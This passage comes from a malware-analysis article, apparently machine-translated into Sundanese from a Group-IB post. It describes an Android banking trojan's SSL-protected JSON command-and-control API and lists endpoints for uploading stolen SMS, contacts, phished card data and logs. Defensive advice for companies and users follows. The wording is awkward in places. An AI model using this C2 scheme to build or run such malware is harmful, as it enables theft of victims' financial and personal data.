Pikeun nyegah analisa lalu lintas ku sniffers jaringan, interaksi antara server CnC sareng aplikasi tiasa dijagi nganggo protokol SSL. Sadaya data anu dikirimkeun ti sareng ka server dibere dina format JSON. Aplikasi ngalaksanakeun pamenta di handap ieu salami operasi:

  • http://<%CnC%>/api/v1/set_state.php - hasil tina palaksanaan paréntah.
  • http://<%CnC%>/api/v1/get.php - narima paréntah.
  • http://<%CnC%>/api/v1/load_sms.php - Ngundeur pesen SMS tina alat anu kainféksi.
  • http://<%CnC%>/api/v1/load_ab.php — unggah daptar kontak tina alat anu kainféksi.
  • http://<%CnC%>/api/v1/aevents.php - pamundut dijieun nalika ngamutahirkeun parameter lokasina di file preferensi.
  • http://<%CnC%>/api/v1/set_card.php - unggah data diala maké jandela phishing masquerading salaku Google Play Market.
  • http://<%CnC%>/api/v1/logs.php - unggah data log.
  • http://<%CnC%>/api/v1/records.php – unggah data diala ngaliwatan phishing jandéla.
  • http://<%CnC%>/api/v1/set_error.php – bewara ngeunaan kasalahan anu geus lumangsung.

saran

Dina raraga ngajaga konsumén maranéhanana ti anceman Trojans mobile, pausahaan kudu make solusi komprehensif anu ngamungkinkeun aranjeunna pikeun ngawas sarta nyegah aktivitas jahat tanpa masang software tambahan dina alat pamaké.

Jang ngalampahkeun ieu, métode signature pikeun detecting Trojans mobile kudu strengthened kalawan téhnologi pikeun analisa paripolah duanana klien tur aplikasi sorangan. Perlindungan ogé kedah kalebet fungsi idéntifikasi alat nganggo téknologi sidik ramo digital, anu bakal ngamungkinkeun anjeun ngartos nalika akun dianggo tina alat atypical sareng parantos murag kana tangan penipu.

Hiji titik fundamentally penting nyaéta kasadiaan analisa cross-kanal, anu ngamungkinkeun pausahaan ngadalikeun resiko timbul teu ukur dina Internet, tapi ogé dina saluran mobile, contona, dina aplikasi pikeun mobile banking, pikeun transaksi kalayan cryptocurrencies jeung nu lianna dimana. transaksi bisa dilaksanakeun transaksi finansial.

Aturan kaamanan pikeun pangguna:

  • ulah masang aplikasi pikeun alat sélulér nganggo OS Android tina sumber naon waé salian ti Google Play, perhatosan khusus kana hak anu dipénta ku aplikasi;
  • rutin masang apdet Android OS;
  • nengetan ekstensi file diundeur;
  • ulah didatangan sumberdaya curiga;
  • Entong klik tautan anu ditampi dina pesen SMS.

Dibintanginya Semyon Rogacheva, spesialis SMP dina panalungtikan malware di Laboratorium Forensik Komputer Grup-IB.

sumber: www.habr.com

Tambahkeun komentar